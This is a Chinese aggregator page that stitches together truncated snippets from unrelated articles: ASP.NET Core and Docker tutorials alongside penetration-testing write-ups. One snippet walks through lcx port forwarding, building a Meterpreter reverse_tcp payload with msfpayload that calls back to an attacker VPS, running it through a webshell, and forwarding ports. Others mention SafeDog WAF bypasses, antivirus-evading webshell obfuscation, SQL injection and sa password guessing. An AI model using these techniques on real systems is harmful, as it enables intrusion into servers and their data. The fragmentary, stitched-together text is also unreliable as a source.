声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。
多租户（Multi Tenancy/Tenant）是一种软件架构，其定义是：在一台服务器上运行单个应用实例，它为多个租户提供服务。
最近抽空又看了下最新网站安全狗IIS版，测试了以下一些在实战中能用的绕过方式，现在是通过本地和云端网马引擎来进行查杀和拦截。
上周在先知社区看到@Xgstar师傅写的《SQLserver写Webshell总结-突破中文路径》文章中提到一个利用批处理写Webshell至中文路径的思路，但最后他并没有成功利用这个思路写入Webshell。
实战中如到某虚拟主机，磁盘权限设置较为严格，cmd.exe被降权执行不了命令，常见可读写目录也不能读，这时就需要用到探测可读写的脚本来查找可读写的目录和文件，用于上传cmd.exe和提权EXP等。
Date/time：2013年，这次的目标就是这台服务器权限，接下来这篇文章会写出在此次渗透中遇到的一些阻碍分析及最终拿到服务器权限的过程。其实这次的渗透应该来说还是挺简单的，都是常规的渗透思路，这次的渗透再次证明了细心、耐心和经验的重要性！
4月28日，在公众号里发起《.NET Core 使用调查》，该调查为期一周，有近3300名开发者参与. 已经使用.net core 的人数只有44%，计划使用.net core 比例达到48%， 没
曾经见过两篇文章在文末推荐自己的文章是用小程序做的，灵光一现，突然想到公众号的文中外链应该也可以这么做，到网上一找确实有一个这样的小程序，测试了一下，真的可行耶，现在把方法分享给大家。
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号亿人安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
对于程序员，写代码是日常工作。作为他们眼中的电脑通，时常会有亲朋好友，找你给做个网站或者公众号。盛情难却。自己不得不搞。“子非鱼焉知鱼之乐”。按照要求去做，浪费太多精力。
声明：该公众号大部分文章来自作者日常学习笔记，也有少部分文章是经过原作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。 服务器：win2003 中间件环境：iis6.0，sql server 2000 网站编写：asp 服务器ip：192.168.1.xx 开放端口：80 0x02 所用方式 Sql注入 IIS6.0 解析漏洞 一句话图片码 Sql server 2000 sa密码猜解 xp_
公司有两个业务系统，A和B，AB用户之间属于多对一的关系，数据库里面也就是两张表，A表有个外键指向B。现在需要实现以下几个功能。
最近遇到这样一个场景：目标仅支持ASP脚本，而且还存在网站安全狗和360安全卫士，目前存在的两个问题。
我们需要在用户登录以后记录当前登录用户的会话状态，ASP.NET Core 已经内置发布了一个关于会话的程序包(Microsoft.Extensions.DependencyInjection)，里面提供了用于管理会话状态的中间件。
今天，Scott Hanselman在其博客上宣布《ASP.NET 5 is dead - Introducing ASP.NET Core 1.0 and .NET Core 1.0》，ASP.NET 5已经被判死刑，Scott在其中也解释了改名的根本原因：之前称之为“ASP.NET 5”确实让人感觉这是ASP.NET 4.6的升级版，比其功能更加强大，未来会替代ASP.NET 4.6。其实不是的，因为“ASP.NET 5”是另起炉灶开发，和 ASP.NET 4.6是并行独立的关系。 所在现在的名字变动如
最近经常听网友问微信图文消息加音乐怎么弄，其实微信公众号添加音乐很简单，复制几行代码到公众平台图文素材中就能实现，只需修改一下背景音乐地址就可以了。 2015.6.6更新 微信公众号文章也可以
源码路径：Github-LearningMpaAbp 1. 引言 现在的互联网已不在仅仅局限于网页应用，IOS、Android、平板、智能家居等平台正如火如荼的迅速发展，移动应用的需求也空前旺盛。所有的互联网公司都不想错过这一次移动浪潮，布局移动市场分一份移动红利。 的确，智能手机作为我们日常生活已必不可少的一部分，通过手机app能够获得更好的体验，比如社交、购物、娱乐、生活。 但这也引入了一个问题，如果布局移动市场，就意味着要维护好几条产品线，比如网页、Android、IOS、微信公众号等。这对公司
IT软件的编程方向 - 进阶者系列 - 学习者系列文章 IT软件经过了这么些年的发展，已经形成了很多的软件公司和开发团队，而且当前编程语言也有很多种，让开发人员能够有很大的选择。现在国际上的开发阵营基本分为ASP.NET、JAVA和PHP三种，但是每种开发语言能够进行的开发问题是统一的，本文就从IT软件的编程方向出发，介绍下当前主流的开发方向。 一、网站； 现在的互联网，随着电子商务的发展和企业内部办公系统的应用，以及编程语言的三大阵营的发展，已经形成了很多具体应用的网站系统。但是，在企业内部，很多还是使用
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP，不过都失败了，第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地，然后再用lcx把Filezilla Server的14147端口转发出来，lcx执行命令如下。 首先VPS机器监听51端口，连接用14147端口： VPS机器执行： C:\>lcx.exe -listen 51 14147 目标机器执行： /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上，返回右上图这样的报错，Google翻译报错信息得知：协议错误：未通过身份验证，关闭连接，连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接，而且我们本地机器也成功的返回了数据，但是好像返回的数据信息中有错误，如下图。 当前问题： 不能正常把目标服务器的FileZilla Server 14147端口给转发出来，返回数据中出错了，所以无法在本地连接上FileZilla Server服务端。 解决办法： 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件，然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下，那么就需要先在路由器里进行端口映射配置，然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件，命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下，然后进入到MSF完成所有必填的配置选项，执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听，然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件，如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话，然后直接使用portfwd命令进行端口转发即可，执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后，我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
当前，前后端分离大行其道，我本人之前不少项目也是纯前后端分离，但总有些场景，春前后端分离整起来比较痛苦，比如我手头这个公众号项目吧，它涉及到第三方鉴权，第三方凭证，以及微信凭证这些，都不适合放到前端去做，外加一些本身业务层面的认证授权，这些终归是放服务端处理合适一些的。另一层面原因，是不想系统所有功能全怼到一个SPA中，还是希望不同功能模块，去拆分到不同页面中的， 俗称的多页。
自从Cypress出现后，Cypress就在吊打一切Web端测试框架。虽然Cypress这么优秀，但它也有一些妥协和倔强，除了第6节的多Tab外，还包括这么一条：
有人说.NET在国内的氛围越来越不行了，看博客园文章的浏览量也起不来。是不是要转Java呢？ 没有必要扯起语言的纷争，Java也好C#都只是语言是工具，各有各的使用场景。以前是C#非开源以及不能在Linux上使用，没有被互联网公司考虑，但它仍然有它的用途。这几年国内互联网公司进入蓬勃发展时期，所有才有这样的趋势。但并不代表C#不能做互联网应用，可以说在接下来的一年内.net core将会成为一个很好的趋势，结合容器以及微服务架构会成为互联网公司另一个比较好的选择。 作为现在在用.NET的公司，如果有机会
“ 任何的课程都逃不开理论的支持 & 课程还在录制中，请关注公众号获取最新消息~” 任何的课程都逃不开理论的支持 久等了各位，在Asp.NET Core2.0 项目实战入门视频课程结束后，根据发起的投票信息。Docker 排在首位。按照结果，我们开始进行Docker视频课程的录制。 在课程开始之前，我给大家准备了课件信息。和一些需要提前掌握的理论知识和概念。 适合您吗？ 您如果想了解Docker，想利用Docker进行开发，那么本系列课程就比较适合你了。 我会讲解如何Docker和Ubuntu实战练习Do
以上的内容和我们即将开始课程内容无关，不想看的可以略过。仅作为我个人为什么要开设这门课程的理由或者是执念吧。
IT同路人 公众号ID：IT同路人 access数据SQL注入测试 看到是注入点，当然首选肯定是先用sqlmap跑下。 access数据库 能正常跑出表 能正常跑出字段 但是dump出数据时就du
首先添加 Session 包，其次在 ConfigService 方法中添加 Session，最后在 Configure 方法里调用 UseSession。
我们在渗透测试过程中时常会用到一些脚本，而现在大部分的WAF或杀软都会根据一些危险组件名、特定字符做为特征来查杀，只要找到其特征，我们可以使用简单的混淆、拼接等方式来进行免杀。
一般浏览器客户端对于www-Authenticate质询结果，会弹出口令输入窗。输入正确的用户名和密码即可。
我们可以使用一系列内网穿透映射的工具，可以在公网访问本地开放的程序，（无论是自己搭建还是使用其他产品 都适用）
我们现在大多数转向ASP.NET Core来使用开发的团队，应该都不是从0开始搭建系统，而是老的业务系统已经在运行，ASP.NET Core用来开发新模块。那么解决用户认证的问题，成为我们的第一个拦路虎。本文将给大家简单阐述一下认证与授权的基本概念，以及基于ASP.NET Core 中间件实现的认证和改造JwtBearer 认证中间件来实现的认证达到与老系统（主要是token-based认证）的集成。 目录 认证与授权 什么是认证 何谓授权 用Middleware拦截 定制JWT Bearer 认证 更
hello，之前我写过《一套标准的ASP.NET Core容器化应用日志收集分析方案》，在公司团队、微信公众号、Github上反映良好。
在大部分程序中一般都会需要用到后台任务， 比如定时更新缓存或更新某些状态。（ASP.NET Core 系列目录） 一、应用场景 以调用微信公众号的Api为例， 经常会用到access_token，官方文档这样描述：“是公众号的全局唯一接口调用凭据，有效期目前为2个小时，需定时刷新，重复获取将导致上次获取的access_token失效，建议公众号开发者使用中控服务器统一获取和刷新Access_token，其他业务逻辑服务器所使用的access_token均来自于该中控服务器，不应该各自去刷新，否则容易
Date/time：2013年，早想写这篇文章了，由于最近一直很忙，拖了半个月才抽出时间来写，这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法，在这里特别感谢@烟神、@落寞两位大哥的耐心指导与讲解。这个站点使用Asp + Access，一个很普通的SQL注入漏洞，这里就不详细写了。
Docker 正在逐渐成为容器行业的事实标准，受到 Windows 和 Linux 生态系统领域最重要供应商的支持。 （Microsoft 是支持 Docker 的主要云供应商之一。）现在，Docker 基本上已经在各大云或本地的任何数据中心普及了。
ASP.NET 5 在项目结构上做了很大的改变，我们以前熟悉的目录结构与项目文件内容都不太一样了，本篇文章带大家了解 ASP.NET 5 到底跟以前有哪些不一样的地方。 我们先用 Visual Stu
这个页面是用来生成二维码的，需要引入ThoughtWorks.QRCode.dll组件。
在这里呢，要先跟大家说声抱歉这么久都没更新文章，不是咱们不更新啊，是实在没啥实战文章更，如果各位有什么需求或者需要什么资源可以在公众号留言(就是发送你想说的到公众号)，我会一一查看并回复，也希望大家呢，觉得我们发的文章可以的话，帮忙转发一下，我们也希望关注量上去，这样才更有动力写文章。我们所发的实战渗透测试项目都是授权并脱敏了的。就先说到这。
研究密码子偏向性的论文通常都会分析RSCU值，论文中通常会用堆积柱形图来展示RSCU的值，之前在论文里也看到过下面这幅图的形式展示RSCU分析的结果
.NET Core/.NET技术虽然吸取了.NET Framework 中的精华，但是也扩展了一些新功能，尤其是跨平台的 ASP.NET Core ，与 传统的 ASP.NET Web Form 在底层原理、启动方式、项目组织、实施部署等方面有非常大的改进与差别，所以要想用好 .NET Core，必须先从基础学起，目前市面上有非常多关于.NET Core的书籍，说实话不建议购买，主要原因是市面在售的大部分书籍都是参考微软官方文档示例加上作者自己的理解与实践而产生的，但是.NET 技术更新快，在售书籍的知识点相对陈旧，所以还是建议先学习微软.NET 文档，从基础学起，然后结合优质视频教程补全知识点、学习优秀的开源项目设计思想，最后通过具体项目动手实践，在应用中加深理解。
上一篇我分享了一篇关于 Asp.Net Core 中IdentityServer4 授权中心之应用实战的文章，其中有不少博友给我提了问题，其中有一个博友问我的一个场景，我给他解答的还不够完美，之后我经过自己的学习查阅并阅读了相关源代码，发现 IdentityServer4 可以实现自定义GrantType 授权方式。
最简洁最易于使用的微信Sdk，包括公众号Sdk、小程序Sdk、企业微信Sdk等，以及Abp VNext集成。
Date/time：2013年，这次的目标是一个英国小网站，目的是拿下这个站点指定文件的修改权限。习惯性的在渗透某个目标之前先对目标进行基本的信息搜集，这样在后面的渗透过程中可以省下不少时间，此次的渗透可以说80%的运气，20%的经验才顺利拿到目标权限。
最近一段时间忙于学习JAVA安全以及企业SRC挖掘，很少开展比较完整的渗透测试了。前一段时间高中的老师再次找到我，让我再次对学校的系统进行一些测试，核心目标是获取全校师生数据以及校园网的运行数据，最后也是成功拿下。这篇文章就是对测试进行的复盘，过程也不难，主要是看个乐呵。
sudo rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpm
在我们实现开发RPC框架的时候，需要选择socket的通信方式。而我们知道一般情况下socket通信类似与qq聊天，发过去消息，什么时候回复都可以。但是我们RPC框架通信，从感觉上类似http调用，需要在一定时间内返回，否则就会发生超时断开。这里我们选择netty作为我们的socket框架，采用future方式进行通信。
我们先从ASP的FileSystemObject对象来讲，其实FileSystemObject对象是个com，也就是几乎所有的语言都是可以调用的。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
云直播
